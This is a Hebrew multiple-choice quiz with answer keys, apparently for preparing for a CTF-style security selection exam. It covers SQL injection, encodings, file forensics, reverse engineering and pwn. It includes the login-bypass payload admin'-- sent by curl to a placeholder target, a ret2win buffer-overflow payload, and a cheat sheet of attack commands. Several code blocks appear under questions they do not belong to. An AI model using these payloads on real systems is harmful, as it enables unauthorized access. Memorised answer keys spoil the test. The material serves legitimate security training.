שאלה 3.1 — SQL Injection · מדוע ה-payload admin'-- מאפשר כניסה ללא סיסמה?

admin'--
  • א. ה-' סוגר את המחרוזת וה--- הופך את בדיקת הסיסמה כולה להערה
  • ב. admin הוא שם-משתמש של ברירת-מחדל שאינו מצריך סיסמה כלל
  • ג. הרצף -- הוא-הוא הסיסמה השמורה של המשתמש בשם admin במערכת
  • ד. השרת פשוט אינו טורח לאמת סיסמאות עבור חשבונות של מנהלי מערכת
תשובה: א

✓ תשובה: א) — SQL: SELECT * FROM users WHERE username='admin'--' AND password='x'. ה-' אחרי admin סוגר את הstring. -- מתחיל comment → AND password='x' נמחק לוגית. Query = WHERE username='admin' → מחזיר admin → Login!

שאלה 3.2 — Crypto Layers · decode ראשון של Base64 נתן עוד Base64. מה הכלי המהיר ביותר לזיהוי כמות השכבות?

  • א. כתוב לולאת Python שתפענח את הטקסט שוב ושוב עד שייגמרו כל השכבות
  • ב. נסה ידנית בשורת-הפקודה עם base64 -d חוזר ונשנה עד לפתרון הסופי
  • ג. CyberChef Magic מזהה אוטומטית את שכבות ה-Encoding ובונה Recipe מלא
  • ד. השתמש ב-dcode.fr כדי לזהות ולפענח כל שכבת Encoding אחת בנפרד
תשובה: ג

✓ תשובה: ג) — CyberChef Magic: מנתח טקסט, מזהה encoding וmanually מציע Recipe מלא. לCTF Crypto: CyberChef Magic = צעד ראשון תמיד. Python שימושי לאימות או כשCyberChef לא מגיע לתשובה הנכונה.

שאלה 3.3 — ROT13 · מה ROT13 ואיך מזהים אותו?

# ─── שלב 1: Reconnaissance ─────────────────────────────────
$ file photo.jpg
photo.jpg: JPEG image data, JFIF standard 1.01
$ ls -la photo.jpg
-rw-r--r-- 1 user user 2457600 Jun 15 14:30 photo.jpg
# 2.4MB לתמונה פשוטה → חשוד! תמונה 800×600 ~ 200KB

# ─── שלב 2: strings ─────────────────────────────────────────
$ strings photo.jpg | grep -iE 'ctf|flag|pass|secret'
# ← ריק. Flag לא חשוף כString.

# ─── שלב 3: ExifTool ────────────────────────────────────────
$ exiftool photo.jpg
Comment    : Nothing to see here!   ← classic misdirection!
GPS Latitude  : 32° 4' 33.60" N    ← Rabbit Hole (GPS לא רלוונטי)
GPS Longitude : 34° 46' 55.56" E

# ─── שלב 4: binwalk ─────────────────────────────────────────
$ binwalk photo.jpg
DECIMAL    HEXADECIMAL    DESCRIPTION
0          0x0            JPEG image data
241920     0x3B100        Zip archive data → 'secret/'
241980     0x3B13C        Zip archive data → 'secret/flag.txt'
242100     0x3B1B4        End of Zip archive
# ← ZIP מוסתר בסוף ה-JPEG! Steganography פשוטה

# ─── שלב 5: חילוץ ───────────────────────────────────────────
$ binwalk -e photo.jpg
$ cat _photo.jpg.extracted/secret/flag.txt
CTF{hidd3n_z1p_1ns1de_jpeg}
  • א. הצפנת AES סימטרית שמשתמשת במפתח שאורכו הוא בדיוק 13 בתים
  • ב. הזזת כל בית (Byte) שלם בערך של 13, במקום הזזת אותיות בלבד
  • ג. פונקציית Hash חד-כיוונית שמבצעת 13 סבבים חוזרים על הקלט
  • ד. הזזת כל אות ב-13 מקומות; ניכר כשהטקסט "כמעט קריא" אך משובש
תשובה: ד

✓ תשובה: ד) — ROT13: A→N, B→O, ..., N→A (symmetric! ROT13(ROT13(x))=x). זיהוי: "Gur synt vf..." → "The flag is...". נפוץ ב-CTF בשילוב עם Base64. דרך: CyberChef ROT13 או Python: codecs.decode(text, 'rot_13').

שאלה 4.1 — Forensics Methodology · מה הסדר הנכון של כלי Forensics לקובץ JPEG חשוד?

  • א. binwalk → strings → file → exiftool: חילוץ תחילה ורק אחריו זיהוי
  • ב. Ghidra → IDA → strings: ניתוח סטטי מעמיק של הקובץ עוד לפני הכל
  • ג. file → ls -la → strings → exiftool → binwalk, מהפשוט אל המורכב
  • ד. פתח מיד ב-Hex Editor וקרא באופן ידני את כל הבתים הגולמיים
תשובה: ג

✓ תשובה: ג) — Forensics workflow: file (סוג קובץ) → ls -la (גודל חשוד?) → strings (פלאג גלוי?) → exiftool (metadata) → binwalk (מוסתר?) → binwalk -e (חלץ). מהפשוט למורכב. 2.4MB ל-JPEG פשוט = red flag מיידי.

שאלה 4.2 — binwalk · מה עושה binwalk photo.jpg לעומת binwalk -e photo.jpg?

  • א. הדגל ‎-e‎ מפעיל מצב שמפענח קבצים מוצפנים שנמצאים בתוך התמונה
  • ב. בלי דגל הוא סורק ומדפיס מה מוסתר; עם ‎-e‎ גם מחלץ לתיקייה
  • ג. הדגל ‎-e‎ רק מוסיף פלט מפורט (verbose) בלי לשנות את הפעולה כלל
  • ד. שתי הפקודות הן זהות באופן מוחלט ומבצעות בדיוק את אותו הדבר
תשובה: ב

✓ תשובה: ב) — binwalk: Scan only. מציג DECIMAL + DESCRIPTION. binwalk -e: Extract. מחלץ לתיקיה _photo.jpg.extracted/. תמיד: scan קודם לראות מה שם, ואז -e לחלץ. זהירות: -e לפעמים מחלץ מאות קבצים.

שאלה 4.3 — Reverse Engineering · ltrace לא עובד (האפליקציה מזהה אותו). מה הצעד הבא?

nc pwn.ctf.gamma.il 4000
  • א. הרץ את ltrace שוב, הפעם עם הרשאות sudo, כדי לעקוף את החסימה
  • ב. החלף מ-ltrace ל-strace, שאותו אפליקציות אינן מסוגלות כלל לזהות
  • ג. עבור ל-Static Analysis ב-Ghidra: Strings ← Xref ← Pseudocode
  • ד. ותר על האתגר, שכן הגנת Anti-Debug הופכת אותו כעת לבלתי-פתיר
תשובה: ג

✓ תשובה: ג) — ltrace = Dynamic, יכול להיות מוגן ע"י Anti-Debug. Static Analysis (Ghidra/IDA) לא מריץ את הBinary → לא ניתן לזיהוי. Workflow: ltrace כישל → Ghidra → F5 → strcmp → קוד. או: GDB bp על strcmp → x/s $rsi.

גאמא סגנון א׳ — Pwn Dry Run · $ checksec ./chal Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) $ nm ./chal | grep win 0000000000401200 T win_func $ python3 -c "from pwn import *; print(cyclic_find(0x6161616b))" 40 # ← cyclic_find ב-x86 (32bit)מה ה-Payload?

$ checksec ./chal
  Stack: No canary found
  NX:    NX disabled
  PIE:   No PIE (0x400000)

$ nm ./chal | grep win
0000000000401200 T win_func

$ python3 -c "from pwn import *; print(cyclic_find(0x6161616b))"
40   # ← cyclic_find ב-x86 (32bit)
  • א. b'A'*40 + p64(0x401200) — כתובת בת 8 בתים כמו בסביבת 64-bit
  • ב. b'A'*44 + p32(0x401200) — ריפוד של 44 בתים לפני כתובת החזרה
  • ג. b'A'*40 + p32(0x401200) — ב-32-bit הכתובת היא בת 4 בתים
  • ד. b'A'*40 + p64(0x401200) + b'B'*4 — כתובת 8 בתים בתוספת ריפוד
תשובה: ג

✓ תשובה: ג) — cyclic_find(0x6161616b) מצא offset=40. 0x6161616b = 'kaaa' ב-LE = x86 (32bit) pattern. ב-x86: Return Address = 4 bytes → p32. ב-x64: 8 bytes → p64. Payload: b'A'*40 + p32(0x401200).

גאמא סגנון ב׳ — Forensics + Crypto · $ file mystery.png mystery.png: PNG image data, 800x600 $ ls -la mystery.png -rw-r--r-- 1 user 45056 mystery.png # 45KB $ strings mystery.png | tail -5 IEND Q1RGe3N0ZWdhbm9ncmFwaHlfaXNfZnVufQ== # אחרון!מה ה-Flag?

$ file mystery.png
mystery.png: PNG image data, 800x600
$ ls -la mystery.png
-rw-r--r-- 1 user 45056 mystery.png   # 45KB
$ strings mystery.png | tail -5
IEND
Q1RGe3N0ZWdhbm9ncmFwaHlfaXNfZnVufQ==

# אחרון!
  • א. Q1RGe3N0ZWdhbm9ncmFwaHlfaXNfZnVufQ== — המחרוזת המקורית היא ה-Flag
  • ב. CTF{mystery_png} — הרכבה משם הקובץ מ-ומסוג התמונה שזוהה בו
  • ג. נדרשת הרצת binwalk -e תחילה כדי לחלץ את ה-Flag המוסתר בקובץ
  • ד. CTF{steganography_is_fun}, המתקבל מפענוח Base64 של המחרוזת
תשובה: ד

✓ תשובה: ד) — strings על PNG מצא Base64 מוסתר. decode: Q1RGe... → "CTF{steganography_is_fun}". Forensics + Crypto משולבים! PNG 45KB לתמונה 800×600 = גודל סביר (לא חשוד). Flag מוסתר כString ב-PNG metadata.

גאמא סגנון ג׳ — Writeup · מה חייב להיות בWriteup מקצועי לבוחן גאמא? (בחר את הרשימה המלאה ביותר)

# ─── Decode One-Liners ────────────────────────────────────────
$ echo 'SGVsbG8=' | base64 -d            # Base64 → ASCII
$ echo '48 65 6c 6c 6f' | xxd -r -p     # Hex → ASCII
$ echo 'Uryyb' | tr 'A-Za-z' 'N-ZA-Mn-za-m'  # ROT13

# ─── Hash Identification ──────────────────────────────────────
$ hash-identifier 5d41402abc4b2a76b9719d911017c592
# → MD5

# ─── Quick Forensics ──────────────────────────────────────────
$ binwalk -e suspicious.jpg              # חלץ קבצים מוסתרים
$ exiftool file.jpg | grep -i 'comment\|gps\|author'
$ strings file.bin | grep -iE 'ctf|flag|pass'

# ─── Web Testing ──────────────────────────────────────────────
$ curl -X POST http://target/login -d "username=admin'--&password=x" -L
$ gobuster dir -u http://target/ -w /usr/share/wordlists/common.txt

# ─── Pwn Quick-Start ─────────────────────────────────────────
$ checksec --file=./binary
$ python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))" | ./binary
$ python3 -c "from pwn import *; print(cyclic_find(b'kaaa'))"
  • א. שם ההצלחה, הקטגוריה, ה-Flag, וצילום-מסך של הפתרון הסופי בלבד
  • ב. שם, קטגוריה, Recon, הפגיעות, ה-Exploit המדויק, ה-Flag ולקחים
  • ג. רק ה-Flag עצמו, קוד ה-Exploit המלא, וזמן הפתרון הכולל של האתגר
  • ד. תיאור קצר של האתגר, ה-Flag, ורשימת כל הכלים שבהם נעשה שימוש
תשובה: ב

✓ תשובה: ב) — Writeup מקצועי: (1) Name+Category+Points. (2) Description. (3) Recon — מה גיליתי ראשון. (4) Vulnerability — מה הבאג. (5) Exploit — קוד/פקודות מדויקות. (6) Flag. (7) Lessons. בגאמא: הסברת הWriteup לבוחן = חלק מהמיון.

שאלה 6.1 — אסטרטגיית תרגול · מה הסדר המומלץ לתרגול לפני גאמא?

  • א. להתמקד אך ורק ב-pwn.college עד לשליטה מוחלטת בכל אחד מהנושאים
  • ב. לתרגל אך ורק ב-HackTheBox, כיוון שהוא הקרוב ביותר לרמת המיון
  • ג. PicoCTF ← OverTheWire ← HackTheBox ← CTF חי, עם Writeup יומי
  • ד. להשלים עוד הרבה חומר תיאורטי לעומק לפני שמתחילים בתרגול המעשי
תשובה: ג

✓ תשובה: ג) — Progressive difficulty: PicoCTF (קל) → OverTheWire (Linux/Crypto) → HackTheBox (בינוני) → CTF Live (לחץ זמן אמיתי). כתיבת Writeup לכל אתגר = חזרה על הפתרון + תרגול הסברה. ←— מכין ישירות לסדנה.

שאלה 6.2 — Multi-Category · קיבלת אתגר עם תיאור: "מצאנו Binary שרץ על השרת. נראה שיש בו דלת אחורית. מצא ומנצל." מה זה?

  • א. Crypto בלבד: כל שנדרש הוא לפענח את הסיסמה המוצפנת שבתוך ה-Binary
  • ב. Forensics בלבד: יש לחלץ את הנתונים הנסתרים מתוך קובץ ה-Binary
  • ג. Web בלבד: המשימה היא לתקוף את ממשק ה-HTTP שהשרת חושף כלפי חוץ
  • ד. Reverse + Pwn: מציאת הדלת ב-Reverse וניצולה מול השרת ב-Pwn
תשובה: ד

✓ תשובה: ד) — "Binary + מצא" = Reverse. "מנצל + שרת" = Pwn. Flow: Ghidra/ltrace → מצא backdoor (למשל secret_password) → nc server → שלח password → Shell/Flag. אתגרים hybrids = נפוצים. תמיד זהה Noded Entry Point ראשון.

שאלה 6.3 — CTF Flow מלא · מה הסדר הנכון בין הפעולות הבאות לאתגר Pwn חדש? A. checksec B. cyclic() C. nm | grep flag D. p64(addr) + sendline E. file binary

def rsa_decrypt(n: int, e: int, c: int) -> int:
    f = 2; p = None                       # פירוק n (מודולוס קטן)
    while f * f <= n:
        if n % f == 0: p = f; break
        f += 1
    q = n // p
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)                    # d = e^-1 mod phi
    return pow(c, d, n)                    # m = c^d mod n
  • א. B → A → E → C → D: איתור ה-offset עוד בטרם בוצע זיהוי של הקובץ
  • ב. A → E → B → C → D: בדיקת ההגנות עוד בטרם זוהה כלל סוג הקובץ
  • ג. D → C → B → A → E: שיגור ה-Exploit כבר כצעד הראשון של התהליך
  • ד. E → A → C → B → D: קובץ, הגנות, win function, offset, ואז Exploit
תשובה: ד

✓ תשובה: ד) E→A→C→B→D — (E) file binary: מה הarchitecture? 32bit/64bit? (A) checksec: הגנות. (C) nm|grep: יש win_func/print_flag? = ret2win קלאסי. (B) cyclic/GDB: מצא offset. (D) p64()+sendline: שלח exploit. סדר לוגי: Recon → Analysis → Offset → Exploit.